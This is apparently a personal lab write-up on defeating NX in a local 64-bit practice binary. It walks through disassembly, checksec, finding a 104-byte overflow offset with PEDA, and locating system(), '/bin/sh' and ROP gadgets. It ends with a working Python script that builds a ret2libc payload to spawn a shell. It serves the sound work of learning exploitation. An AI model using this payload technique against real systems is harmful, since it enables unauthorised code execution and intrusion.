Exploiting NX
For this topic I went with https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/
Disassembly
I made an effort to ignore the source code and use disassembly to identify the buffer overflow. I set the assembly flavor to be Intel for easier reading.
devel@kub:~/challenges/r2libc$ objdump -M intel -d ./ret2libc
<snip>
0000000000401176 <vuln>:
401176: f3 0f 1e fa endbr64
40117a: 55 push rbp
40117b: 48 89 e5 mov rbp,rsp
40117e: 48 83 ec 60 sub rsp,0x60
401182: 48 8d 45 a0 lea rax,[rbp-0x60]
401186: ba 90 01 00 00 mov edx,0x190
40118b: 48 89 c6 mov rsi,rax
40118e: bf 00 00 00 00 mov edi,0x0
401193: e8 e8 fe ff ff call 401080 <read@plt>
401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax
40119b: 48 8d 55 a0 lea rdx,[rbp-0x60]
40119f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
4011a2: 89 c6 mov esi,eax
4011a4: 48 8d 3d 59 0e 00 00 lea rdi,[rip+0xe59] # 402004 <_IO_stdin_used+0x4>
4011ab: b8 00 00 00 00 mov eax,0x0
4011b0: e8 bb fe ff ff call 401070 <printf@plt>
4011b5: 48 8d 3d 63 0e 00 00 lea rdi,[rip+0xe63] # 40201f <_IO_stdin_used+0x1f>
4011bc: e8 9f fe ff ff call 401060 <puts@plt>
4011c1: b8 00 00 00 00 mov eax,0x0
4011c6: c9 leave
4011c7: c3 ret
00000000004011c8 <main>:
4011c8: f3 0f 1e fa endbr64
4011cc: 55 push rbp
4011cd: 48 89 e5 mov rbp,rsp
4011d0: 48 83 ec 10 sub rsp,0x10
4011d4: 89 7d fc mov DWORD PTR [rbp-0x4],edi
4011d7: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
4011db: 48 8d 3d 51 0e 00 00 lea rdi,[rip+0xe51] # 402033 <_IO_stdin_used+0x33>
4011e2: b8 00 00 00 00 mov eax,0x0
4011e7: e8 84 fe ff ff call 401070 <printf@plt>
4011ec: b8 00 00 00 00 mov eax,0x0
4011f1: e8 80 ff ff ff call 401176 <vuln>
4011f6: b8 00 00 00 00 mov eax,0x0
4011fb: c9 leave
4011fc: c3 ret
4011fd: 0f 1f 00 nop DWORD PTR [rax]
<snip>
The stack space created is 0x60 (96) bytes. We can tell from
401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax
and
401182: 48 8d 45 a0 lea rax,[rbp-0x60]
that there are two stack variables at least. The first one is 8 bytes (likely an int) which means there must be another 8 bytes of padding. The remaining 0x50 (80) bytes make up the stack buffer
So in the vuln function there is a buffer of at most 0x50 (80) bytes, but read is given a size of 0x190 (400) bytes.
checksec
Next up is to determine exactly what security protections are in place.
devel@kub:~/challenges/r2libc$ checksec --file ret2libc
[*] '/home/devel/challenges/r2libc/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
devel@kub:~/challenges/r2libc$ cat /proc/sys/kernel/randomize_va_space
0
We know that DEP is enabled. DEP can be defeated with ROP.
Buffer Overflow
The first step in any buffer overflow is find the size of the overflow. I’m using PEDA.
I start gdb on the binary. First step is to make a pattern big enough to guarantee an overflow. 0x60 is 96 bytes, so I’ll make a pattern of 500 bytes just to be sure.
db-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Next I run the binary with in.txt as input.
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell for you :(
Program received signal SIGSEGV, Segmentation fault.
64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that
gdb-peda$ x/wx $rsp
0x7fffffffe508: 0x41413741
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
The overflow occurs at 104 bytes in
ROP
NX is enabled so I need to use ROP. I’m going to abuse libc to execute a shell with system()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7e16410 <system>
System takes a single parameter, a string containing the path of what to run.
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x40203f --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x40303f --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7f775aa --> 0x68732f6e69622f ('/bin/sh')
Finally, we need to put the /bin/sh
string into RDI. For that we need a ROP gadget
devel@kub:~/challenges/r2libc$ ropper --file ret2libc --search "% ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di
[INFO] File: ret2libc
0x000000000040111e: adc dword ptr [rax], edi; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004010dc: adc edi, dword ptr [rax]; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x00000000004010de: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x0000000000401120: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004010e0: add byte ptr [rax], al; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x0000000000401122: add byte ptr [rax], al; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004011b0: call 0x1070; lea rdi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret;
0x00000000004010db: je 0x10f0; mov eax, 0; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x00000000004010e5: je 0x10f0; mov edi, 0x404040; jmp rax;
0x000000000040111d: je 0x1130; mov eax, 0; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
0x0000000000401127: je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004011b6: lea edi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret;
0x00000000004011b5: lea rdi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret;
0x00000000004010dd: mov eax, 0; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x000000000040111f: mov eax, 0; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004011b1: mov ebx, 0x48fffffe; lea edi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret;
0x00000000004010b2: mov edi, 0x4011c8; call qword ptr [rip + 0x2f32]; hlt; nop; endbr64; ret;
0x00000000004010e7: mov edi, 0x404040; jmp rax;
0x00000000004010b1: mov rdi, 0x4011c8; call qword ptr [rip + 0x2f32]; hlt; nop; endbr64; ret;
0x00000000004010e6: or dword ptr [rdi + 0x404040], edi; jmp rax;
0x0000000000401263: pop rdi; ret;
0x00000000004010e3: test eax, eax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x0000000000401125: test eax, eax; je 0x1130; mov edi, 0x404040; jmp rax;
0x00000000004010e2: test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax;
0x0000000000401124: test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax;
stack alignment
When running my exploit, I kept getting a crash on the following
movaps XMMWORD PTR [rsp+0x40],xmm0
tl;dr stack alignment MUST be 16 bytes. My shell code was 12. Pad it with a single ret ROP gadget
devel@kub:~/challenges/r2libc$ ropper --file ret2libc --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: ret2libc
0x000000000040101a: ret;
python
#!/usr/bin/python3
import struct
buflen = 104
payload = b"A" * buflen
#payload += struct.pack("<Q", 0x00000000004006a3) # pop rdi; ret
#payload += struct.pack("<Q", 0x4006ff) # ptr to "/bin/sh"
#payload += struct.pack("<Q", 0x7ffff7e16410) # address of system()
payload += struct.pack("<Q", 0x000000000040101a) # alignment ret;
payload += struct.pack("<Q", 0x0000000000401263) # pop rdi; ret
payload += struct.pack("<Q", 0x40303f) # ptr to "/bin/sh"
payload += struct.pack("<Q", 0x7ffff7e16410) # address of system()
f = open("in.txt", "wb")
f.write(payload)
f.close()